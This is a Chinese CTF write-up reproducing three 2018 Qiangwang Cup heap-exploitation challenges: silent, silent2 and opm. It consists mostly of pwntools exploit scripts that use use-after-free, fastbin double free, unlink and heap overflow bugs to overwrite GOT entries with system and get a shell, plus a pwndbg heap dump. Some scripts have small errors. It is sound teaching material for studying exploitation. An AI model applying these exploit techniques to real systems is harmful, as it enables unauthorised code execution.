2018年强网杯pwn题复现
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2018年强网杯pwn题复现相关的知识,希望对你有一定的参考价值。
silent
漏洞位置: free后没有给指针置空,edit也没有检查chunk是否free
利用思路: 利用uaf把chunk进入fastbin中,构造三个单链表来写free@got然后getshell
程序没有输出,这是一个难点,所以直接写
查表
objdump -d -j .plt silent//查plt
objdump -R silent//查got
在free@got上构造fake_chunk
from pwn import *
local = 1
if local:
p = process('./silent')
libc = ELF('./libc-2.23.so')
else:
p = remote('39.107.32.132' , 10000)#nc 39.107.32.132 10000
libc = ELF('./libc-2.23.so')
def alloc(size , content):
p.sendline('1')
p.sendline(str(size))
p.sendline(str(content))
def delete(idx):
p.sendline('2')
p.sendline(str(idx))
def edit(idx , content):
p.sendline('3')
p.sendline(str(idx))
p.sendline(content)
p.sendline('')
elf = ELF('./silent')
fake_chunk = 0x601ffa
system_plt = 0x400730
alloc(0x50,aaaa)#0
alloc(0x50,bbbb)#1
alloc(0x50,cccc)#2
delete(0)
delete(1)
delete(0)#fastbin->chunk0->chunk1->chunk0
alloc(0x50,p64(fake_chunk))#fastbin->chunk1->chunk0->fake_chunk
alloc(0x50,'bin/sh\\x00')#fastbin->chunk0->fake_chunk
alloc(0x50,aaaa)
alloc(0x50,'a'*0xe + p64(system_plt))
delete(1)
p.interactive()
silent 2
漏洞位置: free后没有给指针置空,edit也没有检查chunk是否free
利用思路: 不能像上一题一样用fastbin了,大体思路是,因为是partial relro,利用unlink修改malloc返回的数组指针为free_got,这样修改改数组时就是修改free_got
from pwn import *
# context.log_level = 'DEBUG'
p = process('./silent2')
def alloc(size, content):
p.sendline('1')
p.sendline(str(size))
p.send(content)
def edit(idx, content):
p.sendline('3')
p.sendline(str(idx))
p.send(content)
def delete(idx):
p.sendline('2')
p.sendline(str(idx))
target = 0x6020C0 + 0x18 #存放malloc返回地址的数组
free_got = 0x602018 #查到free的got地址
sys_plt = 0x400730 #查到system的plt
alloc(0x80,'aaaa')#0
alloc(0x80,'bin/sh\\x00')#1
alloc(0x80,'bbbb')#2
alloc(0x80,'cccc')#3
alloc(0x80,'dddd')#4
alloc(0x80,'eeee')#5
delete(3)#为什么选择3,是因为0x18这个数字,下面会细细说明
delete(4)
payload = p64(0)+p64(0x91)+p64(target-0x18)+p64(target-0x10)+'a'*(0x80-0x10) #修改size,然后该fd和bk
payload += p64(0x90)+p64(0x101)
alloc(0x130,payload)
delete(4)
#unlink后向前合并,根据presize合并0x90的块,然后就可以在target处写上ptr-0x18的,edit(3)时取地址数组chunk3对应的位置就是target,所以edit3就可以在target处写free_got
edit(3,p64(free_got))#chunk0的地址变为free_got
edit(0,p64(sys_plt))#在target处就是chunk0写上system@plt,也就是把free_got改成sys@plt
delete(1)
p.interactive()
opm
跟进我们的alloc函数
根据v6的存储,我们构建一个结构体
v6[0] = func()
v6[1] = name_ptr
v6[2] = length
v6[3] = punch
找到structure结构体,然后按热键INSERT插入,光标放到end那一行,按下D就可以新增一个成员,光标放到数据,按D切换数据类型
切换数据类型
p = process('./opm')
def alloc(name,punch):
p.sendlineafter('(E)','A')
p.sendlineafter('name:',name)
p.sendlineafter('punch?',str(punch))
def show():
p.sendlineafter('(E)','S')
alloc('A'*0x70,1)
alloc('B'*0x80+'\\x10',2)
alloc('c'*0x80,'3'+'d'*0x7f+'\\x10')
alloc('e'*8+p64(heap-0x30),str(131441).ljust(0x80,'f')+p64(heap+0xc0))
# 131441-0x20171 size of top chunk
name写上这个函数指针所在的地址,然后在第二次溢出时将地址写到name分配出来的堆上,然后在name的堆上构造role
pwndbg> x/200gx 0x56554deacc10
0x56554deacc10: 0x0000000000000000 0x0000000000000031
0x56554deacc20: 0x000056554c00bb30 0x000056554deacc50
0x56554deacc30: 0x0000000000000070 0x0000000000000001
0x56554deacc40: 0x0000000000000000 0x0000000000000081
0x56554deacc50: 0x4141414141414141 0x4141414141414141
0x56554deacc60: 0x4141414141414141 0x4141414141414141
0x56554deacc70: 0x4141414141414141 0x4141414141414141
0x56554deacc80: 0x4141414141414141 0x4141414141414141
0x56554deacc90: 0x4141414141414141 0x4141414141414141
0x56554deacca0: 0x4141414141414141 0x4141414141414141
0x56554deaccb0: 0x4141414141414141 0x4141414141414141
0x56554deaccc0: 0x0000000000000000 0x0000000000000031
0x56554deaccd0: 0x000056554c00bb30 0x0000000000000000
0x56554deacce0: 0x0000000000000000 0x0000000000000000
0x56554deaccf0: 0x0000000000000000 0x0000000000000091
0x56554deacd00: 0x4242424242424242 0x000056554deacdc0
0x56554deacd10: 0x0000000000000080 0x4242424242424242
0x56554deacd20: 0x4242424242424242 0x4242424242424242
0x56554deacd30: 0x4242424242424242 0x4242424242424242
0x56554deacd40: 0x4242424242424242 0x4242424242424242
0x56554deacd50: 0x4242424242424242 0x4242424242424242
0x56554deacd60: 0x4242424242424242 0x4242424242424242
0x56554deacd70: 0x4242424242424242 0x4242424242424242
0x56554deacd80: 0x0000000000000010 0x0000000000000031
0x56554deacd90: 0x000056554c00bb30 0x0000000000000000
0x56554deacda0: 0x0000000000000000 0x0000000000000000
0x56554deacdb0: 0x0000000000000000 0x0000000000000091
0x56554deacdc0: 0x6363636363636363 0x6363636363636363
0x56554deacdd0: 0x6363636363636363 0x6363636363636363
0x56554deacde0: 0x6363636363636363 0x6363636363636363
0x56554deacdf0: 0x6363636363636363 0x6363636363636363
0x56554deace00: 0x6363636363636363 0x6363636363636363
0x56554deace10: 0x6363636363636363 0x6363636363636363
0x56554deace20: 0x6363636363636363 0x6363636363636363
0x56554deace30: 0x6363636363636363 0x6363636363636363
0x56554deace40: 0x0000000000000000 0x0000000000000031
0x56554deace50: 0x000056554c00bb30 0x000056554deace80
0x56554deace60: 0x000000000000000e 0x0000000000000000
0x56554deace70: 0x0000000000000000 0x0000000000000021
0x56554deace80: 0x4545454545454545 0x000056554deacd90 name's ptr
0x56554deace90: 0x0000000000000000 0x0000000000020171
from pwn import *
context.log_level = 'debug'
p = process('./opm')
def alloc(name,punch):
p.sendlineafter('(E)','A')
p.sendlineafter('name:',name)
p.sendlineafter('punch?',str(punch))
def show():
p.sendlineafter('(E)','S')
alloc('A'*0x70,1)
alloc('B'*0x80+'\\x10',2)
alloc('c'*0x80,'3'+'d'*0x7f+'\\x10')
p.recvuntil("B"*8)
heap = u64((p.recvuntil(">",drop=True)).ljust(8,"\\x00"))
print hex(heap)
alloc('e'*8+p64(heap-0x30),str(131441).ljust(0x80,'f')+p64(heap+0xc0)) # 131441-0x20171 size of top chunk
p.recvuntil("<")
func = u64((p.recvuntil(">",drop=True)).ljust(8,"\\x00"))
pro_base = func-0xb30 #计算基地址
print hex(pro_base)
alloc('g'*8+p64(pro_base+strlen_got),str(131441-0x30-0x20).ljust(0x80,'f')+p64(heap+0xc0+0x30+0x20))
#和上面一样,回显出strlen函数的地址
p.recvuntil("<")
strlenaddr = u64((p.recvuntil(">",drop=True)).ljust(8,"\\x00"))
print hex(strlenaddr)
system = strlenaddr-0x46390 #offset system
print hex(system)
#g()
alloc('U'*0x10,str(system&0xffffffff).ljust(0x80,'h')+p64(strlen_got+pro_base-0x18))
#system和0xffffffff异或就是取system的低四位,也就是刚好将system覆盖到了strlen的got上
alloc('/bin/sh;','5')
#执行的时候会传参
gdb.attach(p)
pause()
p.interactive()
以上是关于2018年强网杯pwn题复现的主要内容,如果未能解决你的问题,请参考以下文章